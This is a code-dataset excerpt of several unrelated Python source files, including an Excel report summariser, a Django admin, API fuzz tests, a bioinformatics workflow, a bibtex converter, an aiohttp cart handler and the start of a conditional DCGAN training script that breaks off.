hui_zong_ydph_sheet = [0] * 6\n hui_zong_ydph_sheet[0] = j\n hui_zong_ydph_sheet[1] = p\n\n for q in range(0, 4):\n tmp_q = q + 2\n hui_zong_ydph_sheet[tmp_q] = ws_ydph.cell(row = jin_e_row, column = jin_e_column + q).value\n\n hui_zong_ydph.append(hui_zong_ydph_sheet)\n\n#加油站文件接收入库情况\ndef wen_jian_ru_ku(wb_wjrk_name, ws_wjrk_names, zb_w1, hui_zong_black):\n wb_wjrk = load_workbook(wb_wjrk_name)\n\n for i, j in zip(ws_wjrk_names, zb_w1):\n ws_wjrk = wb_wjrk[i]\n wei_xia_zai = 0\n hui_zong_wjrk_sheet = [0] * 3\n hui_zong_wjrk_sheet[0] = j\n for q in range(3, ws_wjrk.max_row + 1):\n if ws_wjrk.row_dimensions[q].hidden == False:\n wei_xia_zai += 1\n\n hui_zong_wjrk_sheet[1] = wei_xia_zai // 2\n hui_zong_wjrk_sheet[2] = wei_xia_zai // 2\n\n hui_zong_black.append(hui_zong_wjrk_sheet)\n\n#发卡网点异常流水\ndef fa_ka(wb_fk_name, ws_fk_names, zb_w1, hui_zong_fk):\n wb_fk = load_workbook(wb_fk_name)\n\n for i, q in zip(ws_fk_names, zb_w1):\n l_tag = True\n jin_e_column = 6\n chu_li_column = 14\n ws_fk = wb_fk[i]\n hui_zong_fk_sheet = [0] * 9\n hui_zong_fk_sheet[0] = q\n hui_zong_fk_sheet[1] = 0\n hui_zong_fk_sheet[5] = 0\n j = 8\n while j <= ws_fk.max_row:\n #已日结\n if ws_fk.cell(row = j, column = jin_e_column).value != None and l_tag:\n if ws_fk.cell(row = j, column = chu_li_column).value[0] == \"已\":\n hui_zong_fk_sheet[6] += 1\n hui_zong_fk_sheet[8] += float(ws_fk.cell(row = j, column = jin_e_column).value)\n hui_zong_fk_sheet[2] += 1\n hui_zong_fk_sheet[4] += float(ws_fk.cell(row = j, column = jin_e_column).value)\n elif ws_fk.cell(row = j, column = jin_e_column).value == None and l_tag:\n j += 3\n l_tag = False\n #X流水\n elif not l_tag:\n if ws_fk.cell(row = j, column = jin_e_column).value != None:\n if ws_fk.cell(row = j, column = chu_li_column).value[0] == \"已\":\n hui_zong_fk_sheet[7] += 1\n hui_zong_fk_sheet[8] += float(ws_fk.cell(row = j, column = jin_e_column).value)\n hui_zong_fk_sheet[3] += 1\n hui_zong_fk_sheet[4] += float(ws_fk.cell(row = j, column = jin_e_column).value)\n j += 1\n\n hui_zong_fk.append(hui_zong_fk_sheet)\n\n#清算异常流水\ndef qing_suan(wb_qs_name, ws_qs_names, zb_w1, hui_zong_qs):\n wb_qs = load_workbook(wb_qs_name)\n\n for i, q in zip(ws_qs_names, zb_w1):\n l_tag = True\n jin_e_column = 10\n chu_li_column = 36\n ws_qs = wb_qs[i]\n hui_zong_qs_sheet = [0] * 9\n hui_zong_qs_sheet[0] = q\n j = 4\n while j <= ws_qs.max_row:\n if ws_qs.cell(row = j, column = jin_e_column).value != None and l_tag:\n if ws_qs.cell(row = j, column = chu_li_column).value == \"已处理\":\n hui_zong_qs_sheet[5] += 1\n hui_zong_qs_sheet[7] += float(ws_qs.cell(row = j, column = jin_e_column).value)\n hui_zong_qs_sheet[1] += 1\n hui_zong_qs_sheet[3] += float(ws_qs.cell(row = j, column = jin_e_column).value)\n elif ws_qs.cell(row = j, column = jin_e_column).value == None and l_tag:\n j += 3\n jin_e_column += 1\n chu_li_column += 3\n l_tag = False\n elif not l_tag:\n if ws_qs.cell(row = j, column = jin_e_column).value != None:\n if ws_qs.cell(row = j, column = chu_li_column).value == \"已处理\":\n hui_zong_qs_sheet[6] += 1\n hui_zong_qs_sheet[8] += float(ws_qs.cell(row = j, column = jin_e_column).value)\n hui_zong_qs_sheet[2] += 1\n hui_zong_qs_sheet[4] += float(ws_qs.cell(row = j, column = jin_e_column).value)\n j += 1\n\n hui_zong_qs.append(hui_zong_qs_sheet)\n\nif zb_source_files.work_week.diferent_month:\n qing_suan(zb_source_files.last_week_qs, zb_source_files_sheets[:zb_bian_jie_zhi], zb_week_date1[:zb_bian_jie_zhi], hui_zong_qs)\n qing_suan(zb_source_files.current_week_qs, zb_source_files_sheets[zb_bian_jie_zhi:], zb_week_date1[zb_bian_jie_zhi:], hui_zong_qs)\n fa_ka(zb_source_files.last_week_fk, zb_source_files_sheets[:zb_bian_jie_zhi], zb_week_date1[:zb_bian_jie_zhi], hui_zong_fk)\n fa_ka(zb_source_files.current_week_fk, zb_source_files_sheets[zb_bian_jie_zhi:], zb_week_date1[zb_bian_jie_zhi:], hui_zong_fk)\n zhang_wu_ping_heng(zb_source_files.last_week_ph, zb_source_files_sheets[:zb_bian_jie_zhi], zb_week_date1[:zb_bian_jie_zhi], zb_week_date3[:zb_bian_jie_zhi], hui_zong_ph)\n zhang_wu_ping_heng(zb_source_files.current_week_ph, zb_source_files_sheets[zb_bian_jie_zhi:], zb_week_date1[zb_bian_jie_zhi:], zb_week_date3[zb_bian_jie_zhi:], hui_zong_ph)\n wen_jian_ru_ku(zb_source_files.last_week_black, zb_source_files_sheets[:zb_bian_jie_zhi], zb_week_date1[:zb_bian_jie_zhi], hui_zong_black)\n wen_jian_ru_ku(zb_source_files.current_week_black, zb_source_files_sheets[zb_bian_jie_zhi:], zb_week_date1[zb_bian_jie_zhi:], hui_zong_black)\n yi_di_jiao_yi(zb_source_files.last_week_ydjy, zb_source_files_sheets[:zb_bian_jie_zhi], zb_week_date1[:zb_bian_jie_zhi], zb_week_date2[:zb_bian_jie_zhi], hui_zong_ydjy)\n yi_di_jiao_yi(zb_source_files.current_week_ydjy, zb_source_files_sheets[zb_bian_jie_zhi:], zb_week_date1[zb_bian_jie_zhi:], zb_week_date2[zb_bian_jie_zhi:], hui_zong_ydjy)\n yi_di_ping_heng(zb_source_files.last_week_ydph, zb_source_files_sheets[:zb_bian_jie_zhi], zb_week_date1[:zb_bian_jie_zhi], zb_week_date4[:zb_bian_jie_zhi], hui_zong_ydph)\n yi_di_ping_heng(zb_source_files.current_week_ydph, zb_source_files_sheets[zb_bian_jie_zhi:], zb_week_date1[zb_bian_jie_zhi:], zb_week_date4[zb_bian_jie_zhi:], hui_zong_ydph)\nelse:\n qing_suan(zb_source_files.current_week_qs, zb_source_files_sheets[:zb_bian_jie_zhi], zb_week_date1[:zb_bian_jie_zhi], hui_zong_qs)\n fa_ka(zb_source_files.current_week_fk, zb_source_files_sheets[:zb_bian_jie_zhi], zb_week_date1[:zb_bian_jie_zhi], hui_zong_fk)\n zhang_wu_ping_heng(zb_source_files.current_week_ph, zb_source_files_sheets[:zb_bian_jie_zhi], zb_week_date1[:zb_bian_jie_zhi], zb_week_date3[:zb_bian_jie_zhi], hui_zong_ph)\n wen_jian_ru_ku(zb_source_files.current_week_black, zb_source_files_sheets[:zb_bian_jie_zhi], zb_week_date1[:zb_bian_jie_zhi], hui_zong_black)\n yi_di_jiao_yi(zb_source_files.current_week_ydjy, zb_source_files_sheets[:zb_bian_jie_zhi], zb_week_date1[:zb_bian_jie_zhi], zb_week_date2[:zb_bian_jie_zhi], hui_zong_ydjy)\n yi_di_ping_heng(zb_source_files.current_week_ydph, zb_source_files_sheets[:zb_bian_jie_zhi], zb_week_date1[:zb_bian_jie_zhi], zb_week_date4[:zb_bian_jie_zhi], hui_zong_ydph)\n\nhui_zong.append(hui_zong_qs)\nhui_zong.append(hui_zong_fk)\nhui_zong.append(hui_zong_ph)\nhui_zong.append(hui_zong_black)\nhui_zong.append(hui_zong_ydjy)\nhui_zong.append(hui_zong_ydph)\n\nzhou_bao_qiu_he(hui_zong)\n","repo_name":"Mz427/python_weekly_monthly_report","sub_path":"main_weekly_report.py","file_name":"main_weekly_report.py","file_ext":"py","file_size_in_byte":10508,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"23788058349","text":"from django.contrib import admin\n\n\n# python manage.py createsuperuser\n#python manage.py makemigrations\n#python manage.py migrate\n\nfrom tt.models import Test, Contact, Tag\n\n# Register your models here.\n# admin.site.register([Test, Contact, Tag])\n\n# # Register your models here.\n# class ContactAdmin(admin.ModelAdmin):\n# fields = ('name', 'email')\n#\n#\n# admin.site.register(Contact, ContactAdmin)\n# admin.site.register([Test, Tag])\n\n# Register your models here.\nclass ContactAdmin(admin.ModelAdmin):\n fieldsets = (\n ['Main', {\n 'fields': ('name', 'email'),\n }],\n ['Advance', {\n 'classes': ('collapse',), # CSS\n 'fields': ('age',),\n }]\n )\n\n\nadmin.site.register(Contact, ContactAdmin)\nadmin.site.register([Test, Tag])\n\n","repo_name":"hth945/pytest","sub_path":"web/django/mytest1/tt/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":787,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"73082228270","text":"class Solution:\n def merge(self, intervals: List[List[int]]) -> List[List[int]]:\n intervals.sort()\n ans = []\n for start, end in intervals:\n if not ans or ans[-1][1] < start:\n ans.append([start, end])\n \n else:\n ans[-1][0] = min(ans[-1][0], start)\n ans[-1][1] = max(ans[-1][1], end)\n \n return ans","repo_name":"AndanteKim/LeetCode_Practice","sub_path":"0056-merge-intervals/0056-merge-intervals.py","file_name":"0056-merge-intervals.py","file_ext":"py","file_size_in_byte":422,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"38"} +{"seq_id":"41752424262","text":"import schemathesis\nfrom schemathesis import DataGenerationMethod\nfrom schemathesis.checks import (\n not_a_server_error,\n status_code_conformance,\n content_type_conformance,\n response_schema_conformance,\n response_headers_conformance,\n)\n\nfrom openapi_server import create_app\n\n\nposschema = schemathesis.from_uri(\"http://127.0.0.1:8080/api/openapi.json\")\n\nnegschema = schemathesis.from_uri(\n \"http://127.0.0.1:8080/api/openapi.json\",\n data_generation_methods=[DataGenerationMethod.negative],\n)\n\n\n@schemathesis.check\ndef check_4xx(response, case):\n if 400 <= response.status_code < 500:\n return\n\n raise AssertionError(\"Status code is not 4XX.\")\n\n\n@schemathesis.hook\ndef before_generate_case(context, strategy):\n op = context.operation\n\n def tune_case(case):\n if op.method == \"post\" and op.path == \"/users/{name}\":\n try:\n if \"name\" in case.body and case.body[\"name\"]:\n if \"/\" in case.body[\"name\"] or \"?\" in case.body[\"name\"]:\n return case\n case.path_parameters[\"name\"] = case.body[\"name\"]\n except TypeError as e:\n pass\n return case\n\n return strategy.map(tune_case)\n\n\n@posschema.parametrize()\ndef test_positive_test(case):\n checks = [\n not_a_server_error,\n status_code_conformance,\n content_type_conformance,\n response_schema_conformance,\n response_headers_conformance,\n ]\n\n response = case.call()\n case.validate_response(response, checks=checks)\n\n\n@negschema.parametrize(method=\"post\")\ndef test_negative_test(case):\n checks = [\n check_4xx,\n status_code_conformance,\n content_type_conformance,\n response_schema_conformance,\n response_headers_conformance,\n ]\n\n response = case.call()\n case.validate_response(response, checks=checks)\n","repo_name":"sasaki77/openapi-flask-test","sub_path":"server/openapi_server/test/test_app.py","file_name":"test_app.py","file_ext":"py","file_size_in_byte":1892,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"29079433452","text":"total = caro = valorbarato = cont = 0\r\nnomebarato = ''\r\n\r\nwhile True:\r\n nome = str(input('Nome do produto: ')).strip()\r\n preco = float(input('Preço R$: '))\r\n total += preco\r\n cont += 1\r\n\r\n if preco > 1000:\r\n caro += 1\r\n\r\n if cont == 1 or preco < valorbarato:\r\n valorbarato = preco\r\n nomebarato = nome\r\n\r\n resp = ' '\r\n while resp not in 'SN':\r\n resp = str(input('Quer continuar? [S/N] ')).upper().strip()[0]\r\n print('-' * 20)\r\n if resp == 'N':\r\n break\r\n\r\nprint(f'\\nO TOTAL da compra foi \\033[32mR${total:.2f}\\033[m')\r\nprint(f'\\033[32m{caro:.2f}\\033[m produtos custam MAIS de R$1000.00')\r\nprint(f'O produto mais BARATO foi \\033[32m{nomebarato}\\033[m que custa \\033[32mR${valorbarato:.2f}\\033[m')\r\n","repo_name":"Godoy-png/python-3-curso-em-video","sub_path":"MUNDO 2/ex070.py","file_name":"ex070.py","file_ext":"py","file_size_in_byte":765,"program_lang":"python","lang":"pt","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"} +{"seq_id":"17128554378","text":"from janis_core import String\nfrom janis_core import WorkflowMetadata\n\n# data types\nfrom janis_bioinformatics.data_types import BamBai, Bed\nfrom janis_unix.data_types import TextFile\nfrom janis_bioinformatics.tools import BioinformaticsWorkflow\nfrom janis_bioinformatics.tools.bedtools import (\n BedToolsGenomeCoverageBedLatest,\n BedToolsCoverageBedLatest,\n)\nfrom janis_bioinformatics.tools.gatk4 import Gatk4CollectInsertSizeMetricsLatest\nfrom janis_bioinformatics.tools.pmac import (\n PerformanceSummaryLatest,\n GeneCoveragePerSampleLatest,\n)\nfrom janis_bioinformatics.tools.samtools import (\n SamToolsFlagstatLatest,\n SamToolsViewLatest,\n)\n\n\nclass PerformanceSummaryGenome_0_1_0(BioinformaticsWorkflow):\n def id(self) -> str:\n return \"PerformanceSummaryGenome\"\n\n def friendly_name(self):\n return \"Performance summary workflow (whole genome)\"\n\n def tool_provider(self):\n return \"Peter MacCallum Cancer Centre\"\n\n def bind_metadata(self):\n return WorkflowMetadata(version=\"v0.1.0\", contributors=[\"Jiaan Yu\"])\n\n def constructor(self):\n\n # Inputs\n self.input(\"bam\", BamBai)\n # Pending to multiple outputs with same prefix\n self.input(\"sample_name\", String)\n self.input(\"genome_file\", TextFile)\n\n # Steps - Performance Summary\n self.step(\n \"gatk4collectinsertsizemetrics\",\n Gatk4CollectInsertSizeMetricsLatest(bam=self.bam,),\n )\n self.step(\"bamflagstat\", SamToolsFlagstatLatest(bam=self.bam))\n self.step(\n \"samtoolsview\",\n SamToolsViewLatest(sam=self.bam, doNotOutputAlignmentsWithBitsSet=\"0x400\"),\n )\n self.step(\"rmdupbamflagstat\", SamToolsFlagstatLatest(bam=self.samtoolsview.out))\n self.step(\n \"bedtoolsgenomecoveragebed\",\n BedToolsGenomeCoverageBedLatest(\n inputBam=self.samtoolsview.out, genome=self.genome_file,\n ),\n )\n # Give all the output files to performance summary script\n self.step(\n \"performancesummary\",\n PerformanceSummaryLatest(\n flagstat=self.bamflagstat.out,\n collectInsertSizeMetrics=self.gatk4collectinsertsizemetrics.out,\n coverage=self.bedtoolsgenomecoveragebed.out,\n rmdupFlagstat=self.rmdupbamflagstat.out,\n genome=True,\n outputPrefix=self.sample_name,\n ),\n )\n\n self.output(\"performanceSummaryOut\", source=self.performancesummary.out)\n","repo_name":"junyk/janis-bioinformatics","sub_path":"janis_bioinformatics/tools/pmac/performanceSummaryGenomeWorkflow.py","file_name":"performanceSummaryGenomeWorkflow.py","file_ext":"py","file_size_in_byte":2559,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"38"} +{"seq_id":"70214462192","text":"import os\nimport bibtexparser\nimport collections\n\n### utility function ###\n\ndef keep_last_and_only(authors_str):\n \"\"\"\n This function is dedicated to parse authors, it removes all the \"and\" but the last and and replace them with \", \"\n :param str: string with authors\n :return: string with authors with only one \"and\"\n \"\"\"\n\n last_author = authors_str.split(\" and \")[-1]\n\n without_and = authors_str.replace(\" and \", \", \")\n\n str_ok = without_and.replace(\", \" + last_author, \" and \" + last_author)\n\n return str_ok\n\n\ndef get_bibtex_line(filename, ID):\n start_line_number = 0\n end_line_number = 0\n\n with open(filename, encoding=\"utf-8\") as myFile:\n for num, line in enumerate(myFile, 1):\n\n # first we look for the beginning line\n if start_line_number == 0:\n if (ID in line) and not (\"@String\" in line):\n start_line_number = num\n else: # after finding the start_line_number we go there\n # the last line contains \"}\"\n\n # we are at the next entry we stop here, end_line_number have the goof value\n if \"@\" in line:\n assert end_line_number > 0\n break\n\n if \"}\" in line:\n end_line_number = num\n assert end_line_number > 0\n return start_line_number, end_line_number\n\n\ndef create_bib_link(ID):\n link = bibtex_filename\n start_bib, end_bib = get_bibtex_line(link, ID)\n\n # bibtex file is one folder upon markdown files\n #link = \"../blob/master/\" + link\n link += \"#L\" + str(start_bib) + \"-L\" + str(end_bib)\n\n # L66-L73\n return link\n\n\ndef get_md_entry(DB, entry, add_comments=True):\n \"\"\"\n Generate a markdown line for a specific entry\n :param entry: entry dictionary\n :return: markdown string\n \"\"\"\n md_str = \"\"\n\n if 'url' in entry.keys():\n md_str += \"- [**\" + entry['title'] + \"**](\" + entry['url'] + \") \"\n else:\n md_str += \"- **\" + entry['title'] + \"**\"\n\n md_str += \", (\" + entry['year'] + \")\"\n\n md_str += \" by *\" + keep_last_and_only(entry['author']) + \"*\"\n\n md_str += \" [[bib]](\" + create_bib_link(entry['ID']) + \") \"\n\n md_str += '\\n'\n\n if add_comments:\n # maybe there is a comment to write\n if entry['ID'].lower() in DB.strings:\n #print(\"Com : \" + entry['ID'])\n md_str += \" \\n *\"\n md_str += DB.strings[entry['ID'].lower()]\n md_str += \"* \\n\"\n\n return md_str\n\n\ndef get_md(DB, item, key, add_comments):\n \"\"\"\n :param DB: list of dictionary with bibtex\n :param item: list of keywords to search in the DB\n :param key: key to use to search in the DB author/ID/year/keyword...\n :return: a md string with all entries corresponding to the item and keyword\n \"\"\"\n\n all_str = \"\"\n\n #list_entry = {}\n list_entry = collections.OrderedDict()\n\n number_of_entries = len(DB.entries)\n for i in range(number_of_entries):\n if key in DB.entries[i].keys():\n if any(elem in DB.entries[i][key] for elem in item):\n str_md = get_md_entry(DB, DB.entries[i], add_comments)\n list_entry.update({str_md:DB.entries[i]['year']})\n\n\n #sorted_tuple_list = sorted(list_entry.items(), reverse=True, key=lambda x: x[1])\n sorted_tuple_list = list_entry.items()\n for elem in sorted_tuple_list:\n all_str += elem[0]\n\n return all_str\n\n\ndef get_outline(list_classif, filename):\n str_outline = \"# Predictive Coding Paper Repository \\n\"\n\n str_outline += \"This repository provides a list of papers that are interesting or influential about Predictive Coding. If you believe I have missed any papers, please contact me at *beren@millidge.name* or make a pull request with the information about the paper. I will be happy to include it. \\n\\n\"\n\n str_outline += \"## Predictive Coding \\n\"\n str_outline += \"Predictive Coding is a neurophysiologically-grounded theory of perception and learning in the brain. The core idea is that the brain always maintains a prediction of the expected state of the world, and that this prediction is then compared against the true sensory data. Where this prediction is wrong, prediction errors are generated and propagated throughout the brain. The brain's 'task' then is simply to minimize prediction errors. \\n \\n\"\n str_outline += \"The key distinction of this theory is that it proposes that prediction-errors, rather than predictions, or direct representation of sense-data is in some sense the core computational primitive in the brain. \\n \\n\"\n str_outline += \"Predictive coding originated in studies of ganglion cells in the retina, in light of theories in signal processing, about how it is much more efficient to send only 'different' or 'unpredicted signals' than repeating the whole signal every time -- see delta-encoding. \\n \\n\"\n str_outline += \"Predictive coding has several potential neurobiologically plausible process theories proposed for it -- see 'Process Theories' section, although the empirical evidence for precise prediction error minimization in the brain is mixed \\n \\n\"\n str_outline += \"Predictive coding has also been extended in several ways. It can be understood as a variational inference algorithm under a Gaussian generative model and variational distribution. It can be setup as an autoencoder (predict your input, or next-state), or else in a supervised learning fashion. \\n \\n\"\n str_outline += \"Predictive coding can also be extended to a hierarchical model of multiple predictive coding layers -- as in the brain -- as well as using 'generalised coordinates' which explicitly model the higher order derivatives a state in order to be able to explicitly model dynamical systems. \\n \\n\"\n str_outline += \"More recent work has also focused on the relationship between predictive coding and the backpropagation of error algorithm in machine learning where under certain assumptions, predictive coding can approximate this fundamental algorithm in a biologically plausible fashion. Although the exact details and conditions still need to be worked out. \\n \\n\"\n str_outline += \"There has also been much exciting work trying to merge predictive coding with machine learning to produce highly performant predictive-coding-inspired architectures. \\n \\n\"\n for item in list_classif:\n str_outline += \"- [\" + item[0] + \"](https://github.com/BerenMillidge/Predictive_Coding_Papers/blob/master/\" + filename + \"#\" \\\n + item[0].replace(\" \", \"-\").lower() + ')\\n'\n\n return str_outline\n\n\ndef get_acknowledgements():\n #str_outline = \"\\n \\n\"\n #str_outline += \"## Acknowledgements \\n \\n\"\n #str_outline += \"Many thanks to @conorheins for his helpful suggestions. \\n \\n\"\n return \"\"\n\ndef get_footnote_string():\n str_outline = \"\\n \\n\"\n str_outline += \"## Contributing \\n \\n\"\n str_outline += \"To contribute, please make pull requests adding entries to the bibtex file. \\n \\n The README file was generated from bibtex using the `bibtex_to_md.py` file. \\n The keywords to use for each classification ('Classic','Backprop') can be found at the bottom of the .py file. \\n\"\n str_outline += \"\\n \\n\"\n str_outline += \"*This code and structure is heavily inspired by https://github.com/optimass/continual_learning_papers.*\"\n return str_outline\n\n\ndef generate_md_file(DB, list_classif, key, plot_title_fct, filename, add_comments=True):\n \"\"\"\n :param DB: list of dictionnary with bibtex\n :param list_classif: list with categories we want to put inside md file\n :param key: key allowing to search in the bibtex dictionary author/ID/year/keyword...\n :param plot_title_fct: function to plot category title\n :param filename: name of the markdown file\n :return: nothing\n \"\"\"\n\n all_in_one_str = \"\"\n all_in_one_str += get_outline(list_classif, filename)\n\n for item in list_classif:\n\n str = get_md(DB, item, key, add_comments)\n\n if str != \"\":\n all_in_one_str += plot_title_fct(item)\n all_in_one_str += str\n\n all_in_one_str += get_acknowledgements()\n all_in_one_str += get_footnote_string()\n\n f = open(filename, \"w\")\n f.write(all_in_one_str)\n f.close()\n\nif __name__ == '__main__':\n bibtex_filename = \"bibtex.bib\"\n file_name = 'bibtex.bib'\n with open(file_name) as bibtex_file:\n bibtex_str = bibtex_file.read()\n\n bib_db = bibtexparser.loads(bibtex_str, parser=bibtexparser.bparser.BibTexParser(ignore_nonstandard_types=False))\n\n ################################### Create Readme ####################################\n def plot_titles(titles):\n return '\\n' + \"## \" + titles[0] + '\\n'\n\n FEP_list_types = [[\"Surveys and Tutorials\", \"survey\"],\n [\"Classics\",\"classic\"],\n [\"Neurobiological Process Theories \", \"process\"],\n [\"Neuroscience applications\", \"applications\"],\n [\"Relationship to Backpropagation\", \"backprop\"],\n [\"PC-inspired machine learning\",\"ml\"],\n [\"Extensions and Developments\",\"extensions\"],\n [\"Relationship to FEP\", \"fep\"],\n ]\n\n\n generate_md_file(DB=bib_db, list_classif=FEP_list_types, key=\"keywords\", plot_title_fct=plot_titles, filename= \"README.md\", add_comments=True)\n","repo_name":"BerenMillidge/Predictive_Coding_Papers","sub_path":"bibtex_to_md.py","file_name":"bibtex_to_md.py","file_ext":"py","file_size_in_byte":9339,"program_lang":"python","lang":"en","doc_type":"code","stars":40,"dataset":"github-code","pt":"38"} +{"seq_id":"39019056142","text":"from aiohttp import web\nfrom aiohttp_swagger import *\nfrom functools import reduce\n\nfrom constants import RequestContextKeys\nfrom features.auth.auth_dao import AuthDao\nfrom features.bikes.bike_dao import BikeDao\nfrom helpers import extract_email_from_request\nfrom .cart_dao import CartDao\n\n\n# noinspection PyUnusedLocal\nclass CartHandler(CartDao, AuthDao, BikeDao):\n def __init__(self):\n pass\n\n @swagger_path(\"features/carts/swagger/get-cart-for-user.yaml\")\n async def get_cart_items_for_user(self, request):\n user, error = await self._get_current_user(request)\n if error is not None:\n return web.json_response({\"error\": error}, status=400)\n\n bikes = await super().dao_get_items_from_cart(user.id)\n total_sum = reduce(lambda a, b: a + b, map(lambda bike: bike[\"selling_price\"], bikes)) if len(bikes) > 0 else 0\n return web.json_response({\n \"items\": bikes,\n \"total_sum\": total_sum\n })\n\n @swagger_path(\"features/carts/swagger/add-to-cart.yaml\")\n async def add_to_cart(self, request):\n result, error = await self._extract_user_and_bike_ids_from_request(request)\n if error is not None:\n return web.json_response({\"error\": error}, status=400)\n user, bike = result\n\n result, error = await super().dao_get_single_cart_item(user.id, bike.id)\n if result is not None:\n return web.json_response({\"error\": \"Item is already in the cart\"}, status=400)\n\n await super().dao_add_item_into_cart(user.id, bike.id)\n return web.json_response({\"ok\": True})\n\n @swagger_path(\"features/carts/swagger/remove-from-cart.yaml\")\n async def remove_from_cart(self, request):\n result, error = await self._extract_user_and_bike_ids_from_request(request)\n if error is not None:\n return web.json_response({\"error\": error}, status=400)\n user, bike = result\n\n result, error = await super().dao_get_single_cart_item(user.id, bike.id)\n if result is None:\n return web.json_response({\"error\": \"Item is not in the cart\"}, status=400)\n\n await super().dao_delete_single_item_from_cart(user.id, bike.id)\n return web.json_response({\"ok\": True})\n\n @swagger_path(\"features/carts/swagger/get-cart-for-current-user.yaml\")\n async def get_cart_for_current_user(self, request):\n request[RequestContextKeys.email] = request[RequestContextKeys.auth_user][\"email\"]\n return await self.get_cart_items_for_user(request)\n\n @swagger_path(\"features/carts/swagger/add-to-cart-for-current-user.yaml\")\n async def add_to_cart_for_current_user(self, request):\n request[RequestContextKeys.email] = request[RequestContextKeys.auth_user][\"email\"]\n return await self.add_to_cart(request)\n\n @swagger_path(\"features/carts/swagger/remove-from-cart-for-current-user.yaml\")\n async def remove_from_cart_for_current_user(self, request):\n request[RequestContextKeys.email] = request[RequestContextKeys.auth_user][\"email\"]\n return await self.remove_from_cart(request)\n\n async def _extract_user_and_bike_ids_from_request(self, request):\n user, error = await self._get_current_user(request)\n if error is not None:\n return None, {\"error\": error}\n\n if \"bike_id\" not in request.rel_url.query:\n return None, {\"error\": \"`bike_id` query parameter must be provided\"}\n bike_id = request.rel_url.query[\"bike_id\"]\n bike = await super().dao_get_bike(bike_id)\n if bike is None:\n return None, f\"Bike with id {bike_id} was not found\"\n return (user, bike), None\n\n async def _get_current_user(self, request):\n email = extract_email_from_request(request)\n if email is None:\n return None, \"`email` query parameter must be provided\"\n user = await super().dao_get_user_by_email(email)\n if user is None:\n return None, f\"User with email {email} was not found\"\n return user, None\n","repo_name":"jackinf/bike_shop_api","sub_path":"features/carts/cart_handler.py","file_name":"cart_handler.py","file_ext":"py","file_size_in_byte":4024,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"} +{"seq_id":"4927421936","text":"\ndef display_deposit(PV=1000.0, n=5, r=0.1, target=10000.0):\n for i in range(n + 1):\n FV = PV * (1 + r) ** i\n print(f\"{i} - {FV:,.2f} USD\")\n if FV >= target:\n print(\"Досрочное закрытие депозита\")\n break\n else:\n print(\"все прошло по плану\")\n\n\nif __name__ == '__main__':\n PV = 2000.0\n n = 9\n r = 0.15\n target=15000.0\n display_deposit(PV=PV, n=n, r=r, target=target)\n","repo_name":"almazse/ItStep","sub_path":"ITS #4/0004/p15.py","file_name":"p15.py","file_ext":"py","file_size_in_byte":476,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"9473527163","text":"import argparse\nimport os\nos.environ[\"CUDA_VISIBLE_DEVICES\"] = \"0\"\nimport shutil\nimport json\nimport time\n\nimport numpy as np\n\nfrom models.cdcgan import Generator, Discriminator\n\nimport torchvision.transforms as transforms\n\nfrom torch.utils.data import DataLoader\nfrom torchvision import datasets\nfrom torchvision.utils import save_image\n\nimport torch\n\nfrom utils import Logger, seed_torch, format_time, weights_init_normal\n\ndef sample_image_grid(generator, z, n_row, batches_done, img_dir):\n \"\"\"Saves a grid of generated digits ranging from 0 to n_classes\"\"\"\n # Get labels ranging from 0 to n_classes for n rows\n labels = np.array([num for _ in range(n_row) for num in range(n_row)])\n y_label = onehot[labels].to(device)\n # generator.eval()\n with torch.no_grad():\n gen_imgs = generator(z, y_label)\n # generator.train()\n gen_imgs = gen_imgs * 0.5 + 0.5\n image_name = \"%d.png\" % batches_done\n image_path = os.path.join(img_dir, image_name)\n save_image(gen_imgs.data, image_path, nrow=n_row, normalize=True)\n\nparser = argparse.ArgumentParser()\nparser.add_argument('--data_dir', type=str, default='./data/cifar')\nparser.add_argument('--log-dir', type=str, default='./log')\nparser.add_argument('--desc', type=str, default='cDCGAN', \n help='Description of experiment. It will be used to name directories.')\nparser.add_argument(\"--seed\", type=int, default=0, help=\"seed\")\nparser.add_argument(\"--n_epochs\", type=int, default=200, help=\"number of epochs of training\")\nparser.add_argument(\"--batch_size\", type=int, default=64, help=\"size of the batches\")\nparser.add_argument(\"--lr\", type=float, default=0.0002, help=\"adam: learning rate\")\nparser.add_argument(\"--b1\", type=float, default=0.5, help=\"adam: decay of first order momentum of gradient\")\nparser.add_argument(\"--b2\", type=float, default=0.999, help=\"adam: decay of first order momentum of gradient\")\nparser.add_argument(\"--latent_dim\", type=int, default=100, help=\"dimensionality of the latent space\")\nparser.add_argument(\"--n_classes\", type=int, default=10, help=\"number of classes for dataset\")\nparser.add_argument(\"--img_size\", type=int, default=32, help=\"size of each image dimension\")\nparser.add_argument(\"--channels\", type=int, default=3, help=\"number of image channels\")\nparser.add_argument(\"--width\", type=int, default=128, help=\"number of feature maps\")\nparser.add_argument(\"--sample_interval\", type=int, default=10, help=\"interval between image sampling\")\nargs = parser.parse_args()\nprint(args)\n\nLOG_DIR = os.path.join(args.log_dir, args.desc)\nIMAGE_DIR = os.path.join(LOG_DIR, \"images\")\nD_WEIGHTS = os.path.join(LOG_DIR, 'D-weights-last.pt')\nG_WEIGHTS = os.path.join(LOG_DIR, 'G-weights-last.pt')\n\nif os.path.exists(LOG_DIR):\n shutil.rmtree(LOG_DIR)\nos.makedirs(LOG_DIR)\nos.makedirs(IMAGE_DIR)\nlogger = Logger(os.path.join(LOG_DIR, 'log-train.log'))\n\nwith open(os.path.join(LOG_DIR, 'args.txt'), 'w') as f:\n json.dump(args.__dict__, f, indent=4)\n\n\ncuda = True if torch.cuda.is_available() else False\ndevice = 'cuda' if cuda else 'cup'\nlogger.log('If use cuda: {}'.format(cuda))\n\nseed_torch(args.seed)\n\nfixed_z = torch.randn((args.n_classes ** 2, args.latent_dim)).to(device).float()\nfixed_z = fixed_z.view((-1, args.latent_dim, 1, 1))\n\n# Loss functions\nadversarial_loss = 